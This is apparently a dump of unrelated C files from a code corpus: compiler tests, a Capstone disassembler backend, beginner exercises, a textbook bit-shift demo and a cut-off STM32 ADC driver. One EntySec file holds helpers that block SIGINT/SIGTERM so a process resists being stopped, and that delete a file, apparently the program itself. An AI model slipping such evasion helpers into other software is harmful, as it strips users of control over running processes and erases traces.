// CHECK: define void @TestPassVarFloat(float %x)
// CHECK: call {{.*}} @TestVarArg(i8* {{.*}}, double %
}
void TestPassVarDouble(double x) {
TestVarArg("A", x);
// CHECK: define void @TestPassVarDouble(double %x)
// CHECK: call {{.*}} @TestVarArg(i8* {{.*}}, double %x
}
void TestPassVarLD(long double x) {
TestVarArg("A", x);
// ANDROID: define void @TestPassVarLD(fp128 %x)
// ANDROID: call {{.*}} @TestVarArg(i8* {{.*}}, fp128 %x
// GNU: define void @TestPassVarLD(x86_fp80 %x)
// GNU: call {{.*}} @TestVarArg(i8* {{.*}}, x86_fp80 %x
// NACL: define void @TestPassVarLD(double %x)
// NACL: call {{.*}} @TestVarArg(i8* {{.*}}, double %x
}
void TestPassVarLDC(long double _Complex x) {
TestVarArg("A", x);
// ANDROID: define void @TestPassVarLDC({ fp128, fp128 }* {{.*}} %x)
// ANDROID: store fp128 %{{.*}}, fp128* %
// ANDROID-NEXT: store fp128 %{{.*}}, fp128* %
// ANDROID-NEXT: call {{.*}} @TestVarArg(i8* {{.*}}, { fp128, fp128 }* {{.*}} %
// GNU: define void @TestPassVarLDC({ x86_fp80, x86_fp80 }* {{.*}} %x)
// GNU: store x86_fp80 %{{.*}}, x86_fp80* %
// GNU-NEXT: store x86_fp80 %{{.*}}, x86_fp80* %
// GNU-NEXT: call {{.*}} @TestVarArg(i8* {{.*}}, { x86_fp80, x86_fp80 }* {{.*}} %
// NACL: define void @TestPassVarLDC(double %x{{.*}}, double %x{{.*}})
// NACL: call {{.*}} @TestVarArg(i8* {{.*}}, double %x{{.*}}, double %x{{.*}})
}
|
the_stack_data/140737.c | /* Capstone Disassembly Engine */
/* M680X Backend by Wolfgang Schwotzer <[email protected]> 2017 */
#ifdef CAPSTONE_HAS_M680X
#include "../../utils.h"
#include "../../MCRegisterInfo.h"
#include "M680XDisassembler.h"
#include "M680XDisassemblerInternals.h"
#include "M680XInstPrinter.h"
static cs_err init(cs_struct *ud)
{
m680x_info *info;
cs_err errcode;
/* Do some validation checks */
errcode = M680X_disassembler_init(ud);
if (errcode != CS_ERR_OK)
return errcode;
errcode = M680X_instprinter_init(ud);
if (errcode != CS_ERR_OK)
return errcode;
// verify if requested mode is valid
if (ud->mode & ~(CS_MODE_M680X_6800 | CS_MODE_M680X_6801 |
CS_MODE_M680X_6805 | CS_MODE_M680X_6808 |
CS_MODE_M680X_6809 | CS_MODE_M680X_6811 |
CS_MODE_M680X_6301 | CS_MODE_M680X_6309 |
CS_MODE_M680X_CPU12 | CS_MODE_M680X_HCS08)) {
// At least one mode is not supported by M680X
return CS_ERR_MODE;
}
if (!(ud->mode & (CS_MODE_M680X_6800 | CS_MODE_M680X_6801 |
CS_MODE_M680X_6805 | CS_MODE_M680X_6808 |
CS_MODE_M680X_6809 | CS_MODE_M680X_6811 |
CS_MODE_M680X_6301 | CS_MODE_M680X_6309 |
CS_MODE_M680X_CPU12 | CS_MODE_M680X_HCS08))) {
// At least the cpu type has to be selected. No default.
return CS_ERR_MODE;
}
info = cs_mem_malloc(sizeof(m680x_info));
if (!info)
return CS_ERR_MEM;
ud->printer = M680X_printInst;
ud->printer_info = info;
ud->getinsn_info = NULL;
ud->disasm = M680X_getInstruction;
ud->reg_name = M680X_reg_name;
ud->insn_id = M680X_get_insn_id;
ud->insn_name = M680X_insn_name;
ud->group_name = M680X_group_name;
ud->skipdata_size = 1;
ud->post_printer = NULL;
#ifndef CAPSTONE_DIET
ud->reg_access = M680X_reg_access;
#endif
return CS_ERR_OK;
}
static cs_err option(cs_struct *handle, cs_opt_type type, size_t value)
{
//TODO
return CS_ERR_OK;
}
void M680X_enable(void)
{
cs_arch_init[CS_ARCH_M680X] = init;
cs_arch_option[CS_ARCH_M680X] = option;
// support this arch
all_arch |= (1 << CS_ARCH_M680X);
}
#endif
|
the_stack_data/48286.c | // SKIP
#include <pthread.h>
#include <stdio.h>
int myglobal;
pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
void *t_fun(void *arg) {
pthread_mutex_lock(&mutex);
myglobal=myglobal+1; //NOWARN
pthread_mutex_unlock(&mutex);
return NULL;
}
int main(void) {
pthread_t id;
pthread_create(&id, NULL, t_fun, NULL);
pthread_mutex_lock(&mutex);
myglobal=myglobal+1; //NOWARN
pthread_mutex_unlock(&mutex);
pthread_join (id, NULL);
myglobal=myglobal+1; //NOWARN
return 0;
}
|
the_stack_data/190767929.c | /* { dg-do compile } */
/* { dg-options "-O2 -fdump-tree-optimized" } */
extern int printf (const char *, ...);
int main(int argc, int b)
{
/* We should be able to get rid of the a - i. */
int i;
for (i = 0; i < 50; i++)
{
int a = b + i;
int c = a - i;
int d = argc + b;
printf ("%d %d\n", c,d);
}
}
/* { dg-final { scan-tree-dump-times "a - i" 0 "optimized"} } */
|
the_stack_data/151705883.c | /*
* MIT License
*
* Copyright (c) 2020-2022 EntySec
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
* SOFTWARE.
*/
#define _GNU_SOURCE
#include <unistd.h>
#ifndef _WIN32
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#endif
void prevent_termination()
{
#ifndef _WIN32
sigset_t block_set;
sigemptyset(&block_set);
sigaddset(&block_set, SIGINT);
sigaddset(&block_set, SIGTERM);
sigprocmask(SIG_BLOCK, &block_set, NULL);
#endif
}
void self_corrupt(char *filename)
{
unlink(filename);
}
|
the_stack_data/1118028.c | /*
* Copyright (c) 2016 Boulanger Guillaume, Chathura Namalgamuwa
* The file is distributed under the MIT license
* The license is available in the LICENSE file or at https://github.com/boulangg/phoenix/blob/master/LICENSE
*/
#include <stdio.h>
int fscanf(FILE* str, const char* format, ...) {
va_list v;
va_start(v, format);
int res = vfscanf(str, format, v);
va_end(v);
return res;
}
|
the_stack_data/697370.c | #include <stdio.h>
int main() {
float cel;
float fa;
printf("\n Escreva uma temperatura em Celsius e converterei para Fahrenheit");
scanf("%f",&cel);
fa=(1.8*cel)+32;
printf("%f",fa);
return 0;
}
|
the_stack_data/56042.c | /**
* Copyright (c) 2021 Zhong Ruoyu.
* This is part of the libc project.
* SPDX-License-Identifier: MIT
*/
/**
* @file toupper.c
* The toupper function converts a lowercase letter to a corresponding
* uppercase letter.
* This header file is designed to be compatible with the C17 standard and
* support gcc and clang, except that it is not backward compatible.
*/
#include "ctype.h"
int toupper(int c) {
return ((islower(c)) ? (c - 0x0020) : c);
}
|
the_stack_data/71704.c | #include<stdio.h>
int main()
{
int n,i,large=0,small;
printf("How Many Number You Want to Insert:");
scanf("%d",&n);
int arr[n];
printf("Enter array Elememnts: ");
for(i=0;i<n;i++)
{
scanf("%d",&arr[i]);
small=arr[0];
}
for(i=0;i<n;i++)
{
if(arr[i]>large)
{
large=arr[i];
}
else if(arr[i]<small)
{
small=arr[i];
}
}
printf("Largest=%d\n",large);
printf("Smallest=%d",small);
}
|
the_stack_data/248579839.c | /*
** EPITECH PROJECT, 2021
** Libmy
** File description:
** check if a string contains only lower case
*/
int my_strlen(char const *);
int my_str_islower(char const *str)
{
int ok = 1;
int i = 0;
for (; ok && i < my_strlen(str); i++) {
if (!('a' <= str[i] && str[i] <= 'z'))
ok = 0;
}
return ok;
}
|
the_stack_data/103265893.c | /* Fig. 10.13: fig10_13.c
Using the bitwise shift operators */
#include <stdio.h>
void displayBits( unsigned value ); /* prototype */
int main( void )
{
unsigned number1 = 960; /* initialize number1 */
/* demonstrate bitwise left shift */
printf( "\nThe result of left shifting\n" );
displayBits( number1 );
printf( "8 bit positions using the " );
printf( "left shift operator << is\n" );
displayBits( number1 << 8 );
/* demonstrate bitwise right shift */
printf( "\nThe result of right shifting\n" );
displayBits( number1 );
printf( "8 bit positions using the " );
printf( "right shift operator >> is\n" );
displayBits( number1 >> 8 );
return 0; /* indicates successful termination */
} /* end main */
/* display bits of an unsigned integer value */
void displayBits( unsigned value )
{
unsigned c; /* counter */
/* declare displayMask and left shift 31 bits */
unsigned displayMask = 1 << 31;
printf( "%7u = ", value );
/* loop through bits */
for ( c = 1; c <= 32; c++ ) {
putchar( value & displayMask ? '1' : '0' );
value <<= 1; /* shift value left by 1 */
if ( c % 8 == 0 ) { /* output a space after 8 bits */
putchar( ' ' );
} /* end if */
} /* end for */
putchar( '\n' );
} /* end function displayBits */
/**************************************************************************
* (C) Copyright 1992-2010 by Deitel & Associates, Inc. and *
* Pearson Education, Inc. All Rights Reserved. *
* *
* DISCLAIMER: The authors and publisher of this book have used their *
* best efforts in preparing the book. These efforts include the *
* development, research, and testing of the theories and programs *
* to determine their effectiveness. The authors and publisher make *
* no warranty of any kind, expressed or implied, with regard to these *
* programs or to the documentation contained in these books. The authors *
* and publisher shall not be liable in any event for incidental or *
* consequential damages in connection with, or arising out of, the *
* furnishing, performance, or use of these programs. *
*************************************************************************/ |
the_stack_data/1107164.c | /**
******************************************************************************
* @file stm32wlxx_ll_adc.c
* @author MCD Application Team
* @brief ADC LL module driver
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2020 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32wlxx_ll_adc.h"
#include "stm32wlxx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif
/** @addtogroup STM32WLxx_LL_Driver
* @{
*/
#if defined (ADC)
/** @addtogroup ADC_LL ADC
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/** @addtogroup ADC_LL_Private_Constants
* @{
*/
/* Definitions of ADC hardware constraints delays */
/* Note: Only ADC peripheral HW delays are defined in ADC LL driver driver, */
/* not timeout values: */
/* Timeout values for ADC operations are dependent to device clock */
/* configuration (system clock versus ADC clock), */
/* and therefore must be defined in user application. */
/* Refer to @ref ADC_LL_EC_HW_DELAYS for description of ADC timeout */
/* values definition. */
/* Note: ADC timeout values are defined here in CPU cycles to be independent */
/* of device clock setting. */
/* In user application, ADC timeout values should be defined with */
/* temporal values, in function of device clock settings. */
/* Highest ratio CPU clock frequency vs ADC clock frequency: */
/* - ADC clock from synchronous clock with AHB prescaler 512, */
/* APB prescaler 16, ADC prescaler 4. */
/* - ADC clock from asynchronous clock (HSI) with prescaler 1, */
/* with highest ratio CPU clock frequency vs HSI clock frequency: */
/* CPU clock frequency max 48MHz, HSI frequency 16MHz: ratio 4. */
/* Unit: CPU cycles. */
#define ADC_CLOCK_RATIO_VS_CPU_HIGHEST (512UL * 16UL * 4UL)
#define ADC_TIMEOUT_DISABLE_CPU_CYCLES (ADC_CLOCK_RATIO_VS_CPU_HIGHEST * 1UL)
#define ADC_TIMEOUT_STOP_CONVERSION_CPU_CYCLES (ADC_CLOCK_RATIO_VS_CPU_HIGHEST * 1UL)
/* Note: CCRDY handshake requires 1APB + 2 ADC + 3 APB cycles */
/* after the channel configuration has been changed. */
/* Driver timeout is approximated to 6 CPU cycles. */
#define ADC_TIMEOUT_CCRDY_CPU_CYCLES (ADC_CLOCK_RATIO_VS_CPU_HIGHEST * 6UL)
/**
* @}
*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup ADC_LL_Private_Macros
* @{
*/
/* Check of parameters for configuration of ADC hierarchical scope: */
/* common to several ADC instances. */
#define IS_LL_ADC_COMMON_CLOCK(__CLOCK__) \
(((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV1) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV2) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV4) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV6) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV8) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV10) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV12) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV16) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV32) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV64) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV128) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC_DIV256) \
)
#define IS_LL_ADC_CLOCK_FREQ_MODE(__CLOCK_FREQ_MODE__) \
(((__CLOCK_FREQ_MODE__) == LL_ADC_CLOCK_FREQ_MODE_HIGH) \
|| ((__CLOCK_FREQ_MODE__) == LL_ADC_CLOCK_FREQ_MODE_LOW) \
)
/* Check of parameters for configuration of ADC hierarchical scope: */
/* ADC instance. */
#define IS_LL_ADC_CLOCK(__CLOCK__) \
(((__CLOCK__) == LL_ADC_CLOCK_SYNC_PCLK_DIV4) \
|| ((__CLOCK__) == LL_ADC_CLOCK_SYNC_PCLK_DIV2) \
|| ((__CLOCK__) == LL_ADC_CLOCK_SYNC_PCLK_DIV1) \
|| ((__CLOCK__) == LL_ADC_CLOCK_ASYNC) \
)
#define IS_LL_ADC_RESOLUTION(__RESOLUTION__) \
(((__RESOLUTION__) == LL_ADC_RESOLUTION_12B) \
|| ((__RESOLUTION__) == LL_ADC_RESOLUTION_10B) \
|| ((__RESOLUTION__) == LL_ADC_RESOLUTION_8B) \
|| ((__RESOLUTION__) == LL_ADC_RESOLUTION_6B) \
)
#define IS_LL_ADC_DATA_ALIGN(__DATA_ALIGN__) \
(((__DATA_ALIGN__) == LL_ADC_DATA_ALIGN_RIGHT) \
|| ((__DATA_ALIGN__) == LL_ADC_DATA_ALIGN_LEFT) \
)
#define IS_LL_ADC_LOW_POWER(__LOW_POWER__) \
(((__LOW_POWER__) == LL_ADC_LP_MODE_NONE) \
|| ((__LOW_POWER__) == LL_ADC_LP_AUTOWAIT) \
|| ((__LOW_POWER__) == LL_ADC_LP_AUTOPOWEROFF) \
|| ((__LOW_POWER__) == LL_ADC_LP_AUTOWAIT_AUTOPOWEROFF) \
)
/* Check of parameters for configuration of ADC hierarchical scope: */
/* ADC group regular */
#define IS_LL_ADC_REG_TRIG_SOURCE(__REG_TRIG_SOURCE__) \
(((__REG_TRIG_SOURCE__) == LL_ADC_REG_TRIG_SOFTWARE) \
|| ((__REG_TRIG_SOURCE__) == LL_ADC_REG_TRIG_EXT_TIM1_TRGO2) \
|| ((__REG_TRIG_SOURCE__) == LL_ADC_REG_TRIG_EXT_TIM1_CH4 ) \
|| ((__REG_TRIG_SOURCE__) == LL_ADC_REG_TRIG_EXT_TIM2_TRGO) \
|| ((__REG_TRIG_SOURCE__) == LL_ADC_REG_TRIG_EXT_TIM2_CH4) \
|| ((__REG_TRIG_SOURCE__) == LL_ADC_REG_TRIG_EXT_TIM2_CH3) \
|| ((__REG_TRIG_SOURCE__) == LL_ADC_REG_TRIG_EXT_EXTI_LINE11) \
)
#define IS_LL_ADC_REG_CONTINUOUS_MODE(__REG_CONTINUOUS_MODE__) \
(((__REG_CONTINUOUS_MODE__) == LL_ADC_REG_CONV_SINGLE) \
|| ((__REG_CONTINUOUS_MODE__) == LL_ADC_REG_CONV_CONTINUOUS) \
)
#define IS_LL_ADC_REG_DMA_TRANSFER(__REG_DMA_TRANSFER__) \
(((__REG_DMA_TRANSFER__) == LL_ADC_REG_DMA_TRANSFER_NONE) \
|| ((__REG_DMA_TRANSFER__) == LL_ADC_REG_DMA_TRANSFER_LIMITED) \
|| ((__REG_DMA_TRANSFER__) == LL_ADC_REG_DMA_TRANSFER_UNLIMITED) \
)
#define IS_LL_ADC_REG_OVR_DATA_BEHAVIOR(__REG_OVR_DATA_BEHAVIOR__) \
(((__REG_OVR_DATA_BEHAVIOR__) == LL_ADC_REG_OVR_DATA_PRESERVED) \
|| ((__REG_OVR_DATA_BEHAVIOR__) == LL_ADC_REG_OVR_DATA_OVERWRITTEN) \
)
#define IS_LL_ADC_REG_SEQ_MODE(__REG_SEQ_MODE__) \
(((__REG_SEQ_MODE__) == LL_ADC_REG_SEQ_FIXED) \
|| ((__REG_SEQ_MODE__) == LL_ADC_REG_SEQ_CONFIGURABLE) \
)
#define IS_LL_ADC_REG_SEQ_SCAN_LENGTH(__REG_SEQ_SCAN_LENGTH__) \
(((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_DISABLE) \
|| ((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_ENABLE_2RANKS) \
|| ((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_ENABLE_3RANKS) \
|| ((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_ENABLE_4RANKS) \
|| ((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_ENABLE_5RANKS) \
|| ((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_ENABLE_6RANKS) \
|| ((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_ENABLE_7RANKS) \
|| ((__REG_SEQ_SCAN_LENGTH__) == LL_ADC_REG_SEQ_SCAN_ENABLE_8RANKS) \
)
#define IS_LL_ADC_REG_SEQ_SCAN_DISCONT_MODE(__REG_SEQ_DISCONT_MODE__) \
(((__REG_SEQ_DISCONT_MODE__) == LL_ADC_REG_SEQ_DISCONT_DISABLE) \
|| ((__REG_SEQ_DISCONT_MODE__) == LL_ADC_REG_SEQ_DISCONT_1RANK) \
)
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup ADC_LL_Exported_Functions
* @{
*/
/** @addtogroup ADC_LL_EF_Init
* @{
*/
/**
* @brief De-initialize registers of all ADC instances belonging to
* the same ADC common instance to their default reset values.
* @note This function is performing a hard reset, using high level
* clock source RCC ADC reset.
* @param ADCxy_COMMON ADC common instance
* (can be set directly from CMSIS definition or by using helper macro @ref __LL_ADC_COMMON_INSTANCE() )
* @retval An ErrorStatus enumeration value:
* - SUCCESS: ADC common registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_ADC_CommonDeInit(ADC_Common_TypeDef *ADCxy_COMMON)
{
/* Check the parameters */
assert_param(IS_ADC_COMMON_INSTANCE(ADCxy_COMMON));
/* Force reset of ADC clock (core clock) */
LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_ADC);
/* Release reset of ADC clock (core clock) */
LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_ADC);
return SUCCESS;
}
/**
* @brief Initialize some features of ADC common parameters
* (all ADC instances belonging to the same ADC common instance)
* and multimode (for devices with several ADC instances available).
* @note The setting of ADC common parameters is conditioned to
* ADC instances state:
* All ADC instances belonging to the same ADC common instance
* must be disabled.
* @param ADCxy_COMMON ADC common instance
* (can be set directly from CMSIS definition or by using helper macro @ref __LL_ADC_COMMON_INSTANCE() )
* @param ADC_CommonInitStruct Pointer to a @ref LL_ADC_CommonInitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: ADC common registers are initialized
* - ERROR: ADC common registers are not initialized
*/
ErrorStatus LL_ADC_CommonInit(ADC_Common_TypeDef *ADCxy_COMMON, LL_ADC_CommonInitTypeDef *ADC_CommonInitStruct)
{
ErrorStatus status = SUCCESS;
/* Check the parameters */
assert_param(IS_ADC_COMMON_INSTANCE(ADCxy_COMMON));
assert_param(IS_LL_ADC_COMMON_CLOCK(ADC_CommonInitStruct->CommonClock));
/* Note: Hardware constraint (refer to description of functions */
/* "LL_ADC_SetCommonXXX()": */
/* On this STM32 series, setting of these features is conditioned to */
/* ADC state: */
/* All ADC instances of the ADC common group must be disabled. */
if (__LL_ADC_IS_ENABLED_ALL_COMMON_INSTANCE(ADCxy_COMMON) == 0UL)
{
/* Configuration of ADC hierarchical scope: */
/* - common to several ADC */
/* (all ADC instances belonging to the same ADC common instance) */
/* - Set ADC clock (conversion clock) */
LL_ADC_SetCommonClock(ADCxy_COMMON, ADC_CommonInitStruct->CommonClock);
}
else
{
/* Initialization error: One or several ADC instances belonging to */
/* the same ADC common instance are not disabled. */
status = ERROR;
}
return status;
}
/**
* @brief Set each @ref LL_ADC_CommonInitTypeDef field to default value.
* @param ADC_CommonInitStruct Pointer to a @ref LL_ADC_CommonInitTypeDef structure
* whose fields will be set to default values.
* @retval None
*/
void LL_ADC_CommonStructInit(LL_ADC_CommonInitTypeDef *ADC_CommonInitStruct)
{
/* Set ADC_CommonInitStruct fields to default values */
/* Set fields of ADC common */
/* (all ADC instances belonging to the same ADC common instance) */
ADC_CommonInitStruct->CommonClock = LL_ADC_CLOCK_ASYNC_DIV2;
}
/**
* @brief De-initialize registers of the selected ADC instance
* to their default reset values.
* @note To reset all ADC instances quickly (perform a hard reset),
* use function @ref LL_ADC_CommonDeInit().
* @note If this functions returns error status, it means that ADC instance
* is in an unknown state.
* In this case, perform a hard reset using high level
* clock source RCC ADC reset.
* Refer to function @ref LL_ADC_CommonDeInit().
* @param ADCx ADC instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: ADC registers are de-initialized
* - ERROR: ADC registers are not de-initialized
*/
ErrorStatus LL_ADC_DeInit(ADC_TypeDef *ADCx)
{
ErrorStatus status = SUCCESS;
__IO uint32_t timeout_cpu_cycles = 0UL;
/* Check the parameters */
assert_param(IS_ADC_ALL_INSTANCE(ADCx));
/* Disable ADC instance if not already disabled. */
if (LL_ADC_IsEnabled(ADCx) == 1UL)
{
/* Set ADC group regular trigger source to SW start to ensure to not */
/* have an external trigger event occurring during the conversion stop */
/* ADC disable process. */
LL_ADC_REG_SetTriggerSource(ADCx, LL_ADC_REG_TRIG_SOFTWARE);
/* Stop potential ADC conversion on going on ADC group regular. */
if (LL_ADC_REG_IsConversionOngoing(ADCx) != 0UL)
{
if (LL_ADC_REG_IsStopConversionOngoing(ADCx) == 0UL)
{
LL_ADC_REG_StopConversion(ADCx);
}
}
/* Wait for ADC conversions are effectively stopped */
timeout_cpu_cycles = ADC_TIMEOUT_STOP_CONVERSION_CPU_CYCLES;
while (LL_ADC_REG_IsStopConversionOngoing(ADCx) == 1UL)
{
timeout_cpu_cycles--;
if (timeout_cpu_cycles == 0UL)
{
/* Time-out error */
status = ERROR;
break;
}
}
/* Disable the ADC instance */
LL_ADC_Disable(ADCx);
/* Wait for ADC instance is effectively disabled */
timeout_cpu_cycles = ADC_TIMEOUT_DISABLE_CPU_CYCLES;
while (LL_ADC_IsDisableOngoing(ADCx) == 1UL)
{
timeout_cpu_cycles--;
if (timeout_cpu_cycles == 0UL)
{
/* Time-out error */
status = ERROR;
break;
}
}
}
/* Check whether ADC state is compliant with expected state */
if (READ_BIT(ADCx->CR,
(ADC_CR_ADSTP | ADC_CR_ADSTART
| ADC_CR_ADDIS | ADC_CR_ADEN)
)
== 0UL)
{
/* ========== Reset ADC registers ========== */
/* Reset register IER */
CLEAR_BIT(ADCx->IER,
(LL_ADC_IT_ADRDY
| LL_ADC_IT_EOC
| LL_ADC_IT_EOS
| LL_ADC_IT_OVR
| LL_ADC_IT_EOSMP
| LL_ADC_IT_AWD1
| LL_ADC_IT_AWD2
| LL_ADC_IT_AWD3
| LL_ADC_IT_EOCAL
| LL_ADC_IT_CCRDY
)
);
/* Reset register ISR */
SET_BIT(ADCx->ISR,
(LL_ADC_FLAG_ADRDY
| LL_ADC_FLAG_EOC
| LL_ADC_FLAG_EOS
| LL_ADC_FLAG_OVR
| LL_ADC_FLAG_EOSMP
| LL_ADC_FLAG_AWD1
| LL_ADC_FLAG_AWD2
| LL_ADC_FLAG_AWD3
| LL_ADC_FLAG_EOCAL
| LL_ADC_FLAG_CCRDY
)
);
/* Reset register CR */
/* Bits ADC_CR_ADCAL, ADC_CR_ADSTP, ADC_CR_ADSTART are in access mode */
/* "read-set": no direct reset applicable. */
CLEAR_BIT(ADCx->CR, ADC_CR_ADVREGEN);
/* Reset register CFGR1 */
CLEAR_BIT(ADCx->CFGR1,
(ADC_CFGR1_AWD1CH | ADC_CFGR1_AWD1EN | ADC_CFGR1_AWD1SGL | ADC_CFGR1_DISCEN
| ADC_CFGR1_AUTOFF | ADC_CFGR1_WAIT | ADC_CFGR1_CONT | ADC_CFGR1_OVRMOD
| ADC_CFGR1_EXTEN | ADC_CFGR1_EXTSEL | ADC_CFGR1_ALIGN | ADC_CFGR1_RES
| ADC_CFGR1_SCANDIR | ADC_CFGR1_DMACFG | ADC_CFGR1_DMAEN)
);
/* Reset register SMPR */
CLEAR_BIT(ADCx->SMPR, ADC_SMPR_SMP1 | ADC_SMPR_SMP2 | ADC_SMPR_SMPSEL);
/* Reset register TR1 */
MODIFY_REG(ADCx->TR1, ADC_TR1_HT1 | ADC_TR1_LT1, ADC_TR1_HT1);
/* Reset register TR2 */
MODIFY_REG(ADCx->TR2, ADC_TR2_HT2 | ADC_TR2_LT2, ADC_TR2_HT2);
/* Reset register TR3 */
MODIFY_REG(ADCx->TR3, ADC_TR3_HT3 | ADC_TR3_LT3, ADC_TR3_HT3);
/* Reset register CHSELR */
CLEAR_BIT(ADCx->CHSELR,
(ADC_CHSELR_CHSEL17 | ADC_CHSELR_CHSEL16
| ADC_CHSELR_CHSEL15 | ADC_CHSELR_CHSEL14 | ADC_CHSELR_CHSEL13 | ADC_CHSELR_CHSEL12
| ADC_CHSELR_CHSEL11 | ADC_CHSELR_CHSEL10 | ADC_CHSELR_CHSEL9 | ADC_CHSELR_CHSEL8
| ADC_CHSELR_CHSEL7 | ADC_CHSELR_CHSEL6 | ADC_CHSELR_CHSEL5 | ADC_CHSELR_CHSEL4
| ADC_CHSELR_CHSEL3 | ADC_CHSELR_CHSEL2 | ADC_CHSELR_CHSEL1 | ADC_CHSELR_CHSEL0)
);
/* Wait for ADC channel configuration ready */
timeout_cpu_cycles = ADC_TIMEOUT_CCRDY_CPU_CYCLES;
while (LL_ADC_IsActiveFlag_CCRDY(ADCx) == 0UL)
{
timeout_cpu_cycles--;
if (timeout_cpu_cycles == 0UL)
{
/* Time-out error */
status = ERROR;
break;
}
}
/* Clear flag ADC channel configuration ready */
LL_ADC_ClearFlag_CCRDY(ADCx);
/* Reset register DR */
/* bits in access mode read only, no direct reset applicable */
/* Reset register CALFACT */
CLEAR_BIT(ADCx->CALFACT, ADC_CALFACT_CALFACT);
/* Reset register CFGR2 */
/* Note: Update of ADC clock mode is conditioned to ADC state disabled: */
/* already done above. */
/* Note: ADC clock reset at the end of de-initialization because select */
/* asynchronous clock source, corresponding to no clock by default */
/* on STM32WL. Refer to function "LL_RCC_SetADCClockSource()". */
CLEAR_BIT(ADCx->CFGR2,
(ADC_CFGR2_CKMODE
| ADC_CFGR2_TOVS | ADC_CFGR2_OVSS | ADC_CFGR2_OVSR
| ADC_CFGR2_OVSE)
);
}
else
{
/* ADC instance is in an unknown state */
/* Need to performing a hard reset of ADC instance, using high level */
/* clock source RCC ADC reset. */
/* Caution: On this STM32 series, if several ADC instances are available */
/* on the selected device, RCC ADC reset will reset */
/* all ADC instances belonging to the common ADC instance. */
status = ERROR;
}
return status;
}
/**
* @brief Initialize some features of ADC instance.
* @note These parameters have an impact on ADC scope: ADC instance.
* Refer to corresponding unitary functions into
* @ref ADC_LL_EF_Configuration_ADC_Instance .
* @note The setting of these parameters by function @ref LL_ADC_Init()
* is conditioned to ADC state:
* ADC instance must be disabled.
* This condition is applied to all ADC features, for efficiency
* and compatibility over all STM32 families. However, the different
* features can be set under different ADC state conditions
* (setting possible with ADC enabled without conversion on going,
* ADC enabled with conversion on going, ...)
* Each feature can be updated afterwards with a unitary function
* and potentially with ADC in a different state than disabled,
* refer to description of each function for setting
* conditioned to ADC state.
* @note After using this function, some other features must be configured
* using LL unitary functions.
* The minimum configuration remaining to be done is:
* - Set ADC group regular sequencer:
* Depending on the sequencer mode (refer to
* function @ref LL_ADC_REG_SetSequencerConfigurable() ):
* - map channel on the selected sequencer rank.
* Refer to function @ref LL_ADC_REG_SetSequencerRanks();
* - map channel on rank corresponding to channel number.
* Refer to function @ref LL_ADC_REG_SetSequencerChannels();
* - Set ADC channel sampling time
* Refer to function LL_ADC_SetSamplingTimeCommonChannels();
* Refer to function LL_ADC_SetChannelSamplingTime();
* @param ADCx ADC instance
* @param ADC_InitStruct Pointer to a @ref LL_ADC_REG_InitTypeDef structure
* @retval An ErrorStatus enumeration value:
* - SUCCESS: ADC registers are initialized
* - ERROR: ADC registers are not initialized
*/
ErrorStatus LL_ADC_Init(ADC_TypeDef *ADCx, LL_ADC_InitTypeDef *ADC_InitStruct)
{
ErrorStatus status = SUCCESS;
